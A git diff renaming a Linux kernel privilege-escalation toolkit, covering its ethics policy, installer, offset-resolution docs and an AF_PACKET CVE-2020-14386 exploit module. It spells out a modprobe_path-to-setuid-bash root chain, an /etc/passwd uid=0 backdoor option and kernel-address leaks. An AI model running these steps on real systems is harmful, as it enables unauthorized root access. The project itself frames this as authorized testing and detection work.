# e.g., for nf_tables CVE-2024-1086: # e.g., for nf_tables CVE-2024-1086:
@@ -281,7 +281,7 @@ sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=1
## Maintenance contract ## Maintenance contract
When IAMROOT ships a new module: When SKELETONKEY ships a new module:
1. CI test passes on at least one vulnerable + patched kernel pair 1. CI test passes on at least one vulnerable + patched kernel pair
2. Detection rules ship alongside (auditd + sigma minimum) 2. Detection rules ship alongside (auditd + sigma minimum)
@@ -293,7 +293,7 @@ Treat these as the SLA for any blue-team-facing deliverable.
## When you find a new false positive ## When you find a new false positive
File an issue at https://github.com/KaraZajac/IAMROOT/issues with: File an issue at https://github.com/KaraZajac/SKELETONKEY/issues with:
- The exact ausearch line that fired - The exact ausearch line that fired
- The legitimate process that produced it - The legitimate process that produced it
- Distro / kernel version - Distro / kernel version
+13 -13
View File
@@ -2,24 +2,24 @@
## Acceptable use ## Acceptable use
IAMROOT is intended for: SKELETONKEY is intended for:
1. **Authorized red-team / pentest engagements.** You have a written 1. **Authorized red-team / pentest engagements.** You have a written
scope, signed by someone who can authorize testing on the target scope, signed by someone who can authorize testing on the target
systems. systems.
2. **Defensive teams testing detection coverage.** You're using 2. **Defensive teams testing detection coverage.** You're using
IAMROOT in a lab to verify your auditd/sigma/falco rules fire as SKELETONKEY in a lab to verify your auditd/sigma/falco rules fire as
expected. expected.
3. **Security researchers studying historical LPEs.** You're reading 3. **Security researchers studying historical LPEs.** You're reading
the code, running it in your own VMs, learning how the primitives the code, running it in your own VMs, learning how the primitives
actually work end-to-end. actually work end-to-end.
4. **Build engineers verifying patch coverage.** You're running 4. **Build engineers verifying patch coverage.** You're running
`iamroot --scan` against your fleet's golden images to confirm `skeletonkey --scan` against your fleet's golden images to confirm
each known CVE shows up as patched. each known CVE shows up as patched.
## Not-acceptable use ## Not-acceptable use
IAMROOT should not be used: SKELETONKEY should not be used:
1. On systems you do not own and have not been authorized to test 1. On systems you do not own and have not been authorized to test
2. As part of unauthorized access to any system 2. As part of unauthorized access to any system
@@ -28,18 +28,18 @@ IAMROOT should not be used:
4. To build a worm, scanner, or any tool that automatically targets 4. To build a worm, scanner, or any tool that automatically targets
systems at scale without per-target authorization systems at scale without per-target authorization
By using IAMROOT you assert that your use falls into the By using SKELETONKEY you assert that your use falls into the
acceptable-use cases above. acceptable-use cases above.
## Why this is publishable ## Why this is publishable
Every CVE bundled in IAMROOT is: Every CVE bundled in SKELETONKEY is:
- **Already patched** in upstream mainline kernel - **Already patched** in upstream mainline kernel
- **Already published** in NVD or distro security trackers - **Already published** in NVD or distro security trackers
- **Already covered** by existing public PoCs - **Already covered** by existing public PoCs
IAMROOT does not introduce new offensive capability. It bundles, SKELETONKEY does not introduce new offensive capability. It bundles,
documents, and CI-tests what is already public — and ships the documents, and CI-tests what is already public — and ships the
detection signatures defenders need to spot it. detection signatures defenders need to spot it.
@@ -51,25 +51,25 @@ real defensive value through the detection-rule exports.
## Disclosure ## Disclosure
If you find a bug in IAMROOT itself (incorrect detection, broken If you find a bug in SKELETONKEY itself (incorrect detection, broken
exploit on a kernel where it should work, missing a backport in the exploit on a kernel where it should work, missing a backport in the
range metadata): file a public GitHub issue. range metadata): file a public GitHub issue.
If you find a **new 0-day kernel LPE while inspired by reading If you find a **new 0-day kernel LPE while inspired by reading
IAMROOT code**: please disclose it responsibly to the kernel SKELETONKEY code**: please disclose it responsibly to the kernel
security team (`security@kernel.org`) and the affected distros security team (`security@kernel.org`) and the affected distros
*before* writing a public PoC. Once upstream patch ships and a CVE *before* writing a public PoC. Once upstream patch ships and a CVE
is assigned, IAMROOT will gladly accept the module. is assigned, SKELETONKEY will gladly accept the module.
## Persistence and stealth are out of scope ## Persistence and stealth are out of scope
`--exploit-backdoor` in the copy_fail module overwrites a `--exploit-backdoor` in the copy_fail module overwrites a
`/etc/passwd` line with a `uid=0` shell account. This is **overt**: `/etc/passwd` line with a `uid=0` shell account. This is **overt**:
- The username is `iamroot` (was `dirtyfail`) — instantly identifiable - The username is `skeletonkey` (was `dirtyfail`) — instantly identifiable
- It's covered by the auditd rules IAMROOT ships - It's covered by the auditd rules SKELETONKEY ships
- `--cleanup-backdoor` restores the original line - `--cleanup-backdoor` restores the original line
If you're looking for evasion, persistence, or stealth: not here. If you're looking for evasion, persistence, or stealth: not here.
Use a real C2 framework if you have authorization to do so. IAMROOT Use a real C2 framework if you have authorization to do so. SKELETONKEY
stops at "demonstrate that the bug works." stops at "demonstrate that the bug works."
+27 -27
View File
@@ -1,20 +1,20 @@
# IAMROOT — kernel offset resolution # SKELETONKEY — kernel offset resolution
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
write, slab UAF, etc.). The default `--exploit` returns write, slab UAF, etc.). The default `--exploit` returns
`IAMROOT_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed `SKELETONKEY_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
bar means we don't claim root unless we empirically have it. bar means we don't claim root unless we empirically have it.
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which `--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
converts the primitive to a real root pop via `modprobe_path` overwrite: converts the primitive to a real root pop via `modprobe_path` overwrite:
``` ```
attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-<pid>.sh") attacker → arb_write(modprobe_path, "/tmp/skeletonkey-mp-<pid>.sh")
→ execve("/tmp/iamroot-trig-<pid>") # unknown-format binary → execve("/tmp/skeletonkey-trig-<pid>") # unknown-format binary
→ kernel call_modprobe() # spawns modprobe_path as init → kernel call_modprobe() # spawns modprobe_path as init
→ /tmp/iamroot-mp-<pid>.sh runs as root → /tmp/skeletonkey-mp-<pid>.sh runs as root
→ cp /bin/bash /tmp/iamroot-pwn-<pid>; chmod 4755 /tmp/iamroot-pwn-<pid> → cp /bin/bash /tmp/skeletonkey-pwn-<pid>; chmod 4755 /tmp/skeletonkey-pwn-<pid>
→ caller exec /tmp/iamroot-pwn-<pid> -p → caller exec /tmp/skeletonkey-pwn-<pid> -p
→ root shell → root shell
``` ```
@@ -27,14 +27,14 @@ address) at runtime.
non-zero value for each field: non-zero value for each field:
1. **Environment variables** — operator override. 1. **Environment variables** — operator override.
- `IAMROOT_KBASE=0x...` - `SKELETONKEY_KBASE=0x...`
- `IAMROOT_MODPROBE_PATH=0x...` - `SKELETONKEY_MODPROBE_PATH=0x...`
- `IAMROOT_POWEROFF_CMD=0x...` - `SKELETONKEY_POWEROFF_CMD=0x...`
- `IAMROOT_INIT_TASK=0x...` - `SKELETONKEY_INIT_TASK=0x...`
- `IAMROOT_INIT_CRED=0x...` - `SKELETONKEY_INIT_CRED=0x...`
- `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`) - `SKELETONKEY_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
- `IAMROOT_CRED_OFFSET_EFF=0x...` - `SKELETONKEY_CRED_OFFSET_EFF=0x...`
- `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4) - `SKELETONKEY_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0` 2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
OR you're already root. On modern distros (kptr_restrict=1 by OR you're already root. On modern distros (kptr_restrict=1 by
@@ -60,18 +60,18 @@ non-zero value for each field:
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
# Use the addresses inline: # Use the addresses inline:
IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \ SKELETONKEY_MODPROBE_PATH=0xffffffff8228e7e0 \
iamroot --exploit nf_tables --i-know --full-chain skeletonkey --exploit nf_tables --i-know --full-chain
``` ```
### Automated dump (preferred for upstreaming) ### Automated dump (preferred for upstreaming)
`iamroot --dump-offsets` walks the four-source chain itself and emits `skeletonkey --dump-offsets` walks the four-source chain itself and emits
a ready-to-paste C struct entry on stdout: a ready-to-paste C struct entry on stdout:
```bash ```bash
sudo iamroot --dump-offsets sudo skeletonkey --dump-offsets
# /* Generated 2026-05-16 by `iamroot --dump-offsets`. # /* Generated 2026-05-16 by `skeletonkey --dump-offsets`.
# * Host kernel: 5.15.0-56-generic distro=ubuntu # * Host kernel: 5.15.0-56-generic distro=ubuntu
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table # * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
# * Paste this entry into kernel_table[] in core/offsets.c. # * Paste this entry into kernel_table[] in core/offsets.c.
@@ -88,21 +88,21 @@ sudo iamroot --dump-offsets
``` ```
Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild, Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
and the new entry covers every IAMROOT user on that kernel. Open a and the new entry covers every SKELETONKEY user on that kernel. Open a
PR to upstream it. PR to upstream it.
### Per-host (write System.map readable) ### Per-host (write System.map readable)
```bash ```bash
sudo chmod 0644 /boot/System.map-$(uname -r) sudo chmod 0644 /boot/System.map-$(uname -r)
iamroot --exploit nf_tables --i-know --full-chain skeletonkey --exploit nf_tables --i-know --full-chain
``` ```
### Per-boot (lower kptr_restrict) ### Per-boot (lower kptr_restrict)
```bash ```bash
sudo sysctl kernel.kptr_restrict=0 sudo sysctl kernel.kptr_restrict=0
iamroot --exploit nf_tables --i-know --full-chain skeletonkey --exploit nf_tables --i-know --full-chain
``` ```
Note: each of these requires root *once*. For a true non-root LPE on Note: each of these requires root *once*. For a true non-root LPE on
@@ -144,14 +144,14 @@ build + distro you tested against. Upstreamed entries make the
## Verifying success ## Verifying success
The shared finisher (`iamroot_finisher_modprobe_path()`) drops a The shared finisher (`skeletonkey_finisher_modprobe_path()`) drops a
sentinel file at `/tmp/iamroot-pwn-<pid>` after `modprobe` runs our sentinel file at `/tmp/skeletonkey-pwn-<pid>` after `modprobe` runs our
payload. The finisher polls for this file with `S_ISUID` mode set payload. The finisher polls for this file with `S_ISUID` mode set
for up to 3 seconds. Only when the sentinel materializes does the for up to 3 seconds. Only when the sentinel materializes does the
module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec module return `SKELETONKEY_EXPLOIT_OK` and (unless `--no-shell`) exec
the setuid bash to drop a root shell. the setuid bash to drop a root shell.
If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL` If the sentinel never appears the module returns `SKELETONKEY_EXPLOIT_FAIL`
with a diagnostic. Reasons it might fail even with offsets resolved: with a diagnostic. Reasons it might fail even with offsets resolved:
- The arb-write didn't actually land (slab adjacency lost, value-pointer - The arb-write didn't actually land (slab adjacency lost, value-pointer
BIN
View File
Binary file not shown.
+29 -29
View File
@@ -1,19 +1,19 @@
#!/usr/bin/env bash #!/usr/bin/env bash
# IAMROOT one-shot installer. # SKELETONKEY one-shot installer.
# #
# Usage: # Usage:
# curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh # curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
# #
# Or with explicit version: # Or with explicit version:
# IAMROOT_VERSION=v0.1.0 curl ... | sh # SKELETONKEY_VERSION=v0.1.0 curl ... | sh
# #
# Or install to a different prefix: # Or install to a different prefix:
# IAMROOT_PREFIX=$HOME/.local/bin curl ... | sh # SKELETONKEY_PREFIX=$HOME/.local/bin curl ... | sh
# #
# Environment: # Environment:
# IAMROOT_VERSION release tag (default: latest) # SKELETONKEY_VERSION release tag (default: latest)
# IAMROOT_PREFIX install dir (default: /usr/local/bin if writable, else error) # SKELETONKEY_PREFIX install dir (default: /usr/local/bin if writable, else error)
# IAMROOT_REPO override repo (default: KaraZajac/IAMROOT) # SKELETONKEY_REPO override repo (default: KaraZajac/SKELETONKEY)
# #
# Exit codes: # Exit codes:
# 0 — installed successfully # 0 — installed successfully
@@ -21,9 +21,9 @@
set -euo pipefail set -euo pipefail
REPO="${IAMROOT_REPO:-KaraZajac/IAMROOT}" REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
VERSION="${IAMROOT_VERSION:-latest}" VERSION="${SKELETONKEY_VERSION:-latest}"
PREFIX="${IAMROOT_PREFIX:-/usr/local/bin}" PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; } log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; } ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
@@ -40,11 +40,11 @@ log "detected arch: $target"
# Resolve version → download URL # Resolve version → download URL
if [ "$VERSION" = "latest" ]; then if [ "$VERSION" = "latest" ]; then
url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}" url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}"
sha_url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}.sha256" sha_url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}.sha256"
else else
url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}" url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}"
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}.sha256" sha_url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}.sha256"
fi fi
log "downloading from: $url" log "downloading from: $url"
@@ -56,18 +56,18 @@ fi
tmp=$(mktemp -d) tmp=$(mktemp -d)
trap 'rm -rf "$tmp"' EXIT trap 'rm -rf "$tmp"' EXIT
if ! curl -fsSLo "$tmp/iamroot" "$url"; then if ! curl -fsSLo "$tmp/skeletonkey" "$url"; then
fail "download failed. Check the version exists at https://github.com/${REPO}/releases" fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
fi fi
# Verify checksum if available # Verify checksum if available
if curl -fsSLo "$tmp/iamroot.sha256" "$sha_url" 2>/dev/null; then if curl -fsSLo "$tmp/skeletonkey.sha256" "$sha_url" 2>/dev/null; then
# The .sha256 file has the binary's original name; normalize for our local copy # The .sha256 file has the binary's original name; normalize for our local copy
expected=$(awk '{print $1}' "$tmp/iamroot.sha256") expected=$(awk '{print $1}' "$tmp/skeletonkey.sha256")
if command -v sha256sum >/dev/null 2>&1; then if command -v sha256sum >/dev/null 2>&1; then
actual=$(sha256sum "$tmp/iamroot" | awk '{print $1}') actual=$(sha256sum "$tmp/skeletonkey" | awk '{print $1}')
elif command -v shasum >/dev/null 2>&1; then elif command -v shasum >/dev/null 2>&1; then
actual=$(shasum -a 256 "$tmp/iamroot" | awk '{print $1}') actual=$(shasum -a 256 "$tmp/skeletonkey" | awk '{print $1}')
else else
actual="" actual=""
log "no sha256sum/shasum available — skipping checksum verification" log "no sha256sum/shasum available — skipping checksum verification"
@@ -83,17 +83,17 @@ else
log "no checksum file at $sha_url — skipping verification" log "no checksum file at $sha_url — skipping verification"
fi fi
chmod +x "$tmp/iamroot" chmod +x "$tmp/skeletonkey"
# Install. Try $PREFIX directly; if not writable, sudo. # Install. Try $PREFIX directly; if not writable, sudo.
target_path="$PREFIX/iamroot" target_path="$PREFIX/skeletonkey"
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
mv "$tmp/iamroot" "$target_path" mv "$tmp/skeletonkey" "$target_path"
elif command -v sudo >/dev/null 2>&1; then elif command -v sudo >/dev/null 2>&1; then
log "$PREFIX needs sudo; you may be prompted for password" log "$PREFIX needs sudo; you may be prompted for password"
sudo mv "$tmp/iamroot" "$target_path" sudo mv "$tmp/skeletonkey" "$target_path"
else else
fail "$PREFIX not writable and sudo not available. Try IAMROOT_PREFIX=\$HOME/.local/bin" fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
fi fi
ok "installed: $target_path" ok "installed: $target_path"
@@ -104,10 +104,10 @@ cat >&2 <<EOF
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md [\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
Quickstart: Quickstart:
sudo iamroot --scan # what's this box vulnerable to? sudo skeletonkey --scan # what's this box vulnerable to?
sudo iamroot --audit # broader system hygiene sudo skeletonkey --audit # broader system hygiene
sudo iamroot --detect-rules --format=auditd \\ sudo skeletonkey --detect-rules --format=auditd \\
| sudo tee /etc/audit/rules.d/99-iamroot.rules # deploy detection rules | sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
See \`iamroot --help\` for all commands. See \`skeletonkey --help\` for all commands.
EOF EOF
+1 -1
View File
@@ -20,7 +20,7 @@ reachable.
## Decision needed before implementing ## Decision needed before implementing
Is the unprivileged-userns-netns scenario in scope for IAMROOT? If Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If
yes, this module ships. If we restrict to "default Linux user yes, this module ships. If we restrict to "default Linux user
account, no namespace tricks," this module is out of scope. account, no namespace tricks," this module is out of scope.
+2 -2
View File
@@ -16,7 +16,7 @@ Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020). Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
## IAMROOT role ## SKELETONKEY role
Sibling of CVE-2017-7308; same subsystem, different code path. Sibling of CVE-2017-7308; same subsystem, different code path.
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray. Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
@@ -24,5 +24,5 @@ PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
attempts the Or-Cohen-style sk_buff data-pointer hijack through attempts the Or-Cohen-style sk_buff data-pointer hijack through
the shared finisher. the shared finisher.
Shares the `iamroot-af-packet` auditd key with the CVE-2017-7308 Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
module so detection signatures dedupe cleanly. module so detection signatures dedupe cleanly.
@@ -1,12 +0,0 @@
/*
* af_packet2_cve_2020_14386 — IAMROOT module registry hook
*/
#ifndef AF_PACKET2_IAMROOT_MODULES_H
#define AF_PACKET2_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_packet2_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* af_packet2_cve_2020_14386 IAMROOT module * af_packet2_cve_2020_14386 SKELETONKEY module
* *
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow heap * AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow heap
* write-before-allocation. Different bug from CVE-2017-7308 same * write-before-allocation. Different bug from CVE-2017-7308 same
@@ -10,12 +10,12 @@
* - Default (no --full-chain): the exploit() entry point reaches the * - Default (no --full-chain): the exploit() entry point reaches the
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow * vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg * with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
* skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only * skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
* behavior kernel-version-agnostic, no offsets baked in). * behavior kernel-version-agnostic, no offsets baked in).
* - With --full-chain: after the underflow lands, we resolve kernel * - With --full-chain: after the underflow lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run * offsets (env kallsyms System.map embedded table) and run
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared * an Or-Cohen-style sk_buff-data-pointer hijack through the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself is * skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives * LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
* us a single 8-byte heap-OOB write into the head of the * us a single 8-byte heap-OOB write into the head of the
* adjacent-page slab object; we spray sk_buffs so that next-page * adjacent-page slab object; we spray sk_buffs so that next-page
@@ -43,7 +43,7 @@
* before backport. Embedded systems with 4.x kernels still in production. * before backport. Embedded systems with 4.x kernels still in production.
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
#include "../../core/offsets.h" #include "../../core/offsets.h"
@@ -75,7 +75,7 @@
#endif #endif
/* ---------- macOS / non-linux build stubs --------------------------- /* ---------- macOS / non-linux build stubs ---------------------------
* Modules in IAMROOT are dev-built on macOS and run-built on Linux. * Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
* Provide empty stubs so syntax checks pass without Linux headers. * Provide empty stubs so syntax checks pass without Linux headers.
* The exploit path is gated at runtime on the kernel version anyway, * The exploit path is gated at runtime on the kernel version anyway,
* so the stubs are never reached on macOS targets. */ * so the stubs are never reached on macOS targets. */
@@ -148,12 +148,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0; return WIFEXITED(status) && WEXITSTATUS(status) == 0;
} }
static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n"); fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */ /* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
@@ -162,7 +162,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n", fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
v.release); v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
bool patched = kernel_range_is_patched(&af_packet2_range, &v); bool patched = kernel_range_is_patched(&af_packet2_range, &v);
@@ -170,7 +170,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release); fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
int userns_ok = can_unshare_userns(); int userns_ok = can_unshare_userns();
@@ -185,12 +185,12 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n"); fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n"); fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) ------------------------- /* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
@@ -280,7 +280,7 @@ static int get_ifindex(const char *name)
/* The primitive run; executed inside the unshare()'d child. Returns /* The primitive run; executed inside the unshare()'d child. Returns
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched * 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
* at the kernel level (setsockopt rejected our crafted ring)". */ * at the kernel level (setsockopt rejected our crafted ring)". */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx) static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{ {
if (bring_up_lo() < 0) { if (bring_up_lo() < 0) {
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno); fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
@@ -441,7 +441,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
} }
#else /* !__linux__: provide a stub for macOS sanity builds */ #else /* !__linux__: provide a stub for macOS sanity builds */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx) static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{ {
(void)ctx; (void)ctx;
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n"); fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
@@ -473,7 +473,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
* Reality check on this implementation: the deterministic mechanics * Reality check on this implementation: the deterministic mechanics
* of the above (precise frame size, repeated spray timing, sk_buff * of the above (precise frame size, repeated spray timing, sk_buff
* struct offset for the running kernel) are not portable enough to * struct offset for the running kernel) are not portable enough to
* land reliably from a single iamroot run on an arbitrary host. We * land reliably from a single skeletonkey run on an arbitrary host. We
* therefore ship this as a LAST-RESORT stub: we attempt the spray + * therefore ship this as a LAST-RESORT stub: we attempt the spray +
* trigger sequence, then return -1 to signal "the primitive fired * trigger sequence, then return -1 to signal "the primitive fired
* but we cannot empirically confirm the write landed". The shared * but we cannot empirically confirm the write landed". The shared
@@ -486,7 +486,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
* write-and-readback once the per-kernel sk_buff layout is pinned * write-and-readback once the per-kernel sk_buff layout is pinned
* down for the target host. */ * down for the target host. */
struct afp2_arb_ctx { struct afp2_arb_ctx {
const struct iamroot_ctx *ictx; const struct skeletonkey_ctx *ictx;
int n_attempts; /* spray/fire rounds before giving up */ int n_attempts; /* spray/fire rounds before giving up */
}; };
@@ -543,7 +543,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
/* LAST-RESORT depth: we have fired the trigger + spray but cannot /* LAST-RESORT depth: we have fired the trigger + spray but cannot
* empirically confirm the 8-byte write landed on an sk_buff->data * empirically confirm the 8-byte write landed on an sk_buff->data
* field on this host. Return -1 so the finisher's sentinel-check * field on this host. Return -1 so the finisher's sentinel-check
* loop in iamroot_finisher_modprobe_path() correctly reports * loop in skeletonkey_finisher_modprobe_path() correctly reports
* "payload didn't run within 3s" rather than claiming success. */ * "payload didn't run within 3s" rather than claiming success. */
fprintf(stderr, fprintf(stderr,
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n" "[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
@@ -563,11 +563,11 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
} }
#endif #endif
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
{ {
/* 1. Re-confirm vulnerability. */ /* 1. Re-confirm vulnerability. */
iamroot_result_t pre = af_packet2_detect(ctx); skeletonkey_result_t pre = af_packet2_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n"); fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
return pre; return pre;
} }
@@ -575,13 +575,13 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
/* 2. Refuse if already root. */ /* 2. Refuse if already root. */
if (geteuid() == 0) { if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n"); fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
if (!ctx->authorized) { if (!ctx->authorized) {
/* Defense in depth — the dispatcher should have gated this. */ /* Defense in depth — the dispatcher should have gated this. */
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n"); fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
@@ -597,7 +597,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
pid_t pid = fork(); pid_t pid = fork();
if (pid < 0) { if (pid < 0) {
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno); fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
if (pid == 0) { if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -644,7 +644,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_packet2: primitive child crashed " fprintf(stderr, "[-] af_packet2: primitive child crashed "
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n", "(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
WTERMSIG(status)); WTERMSIG(status));
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
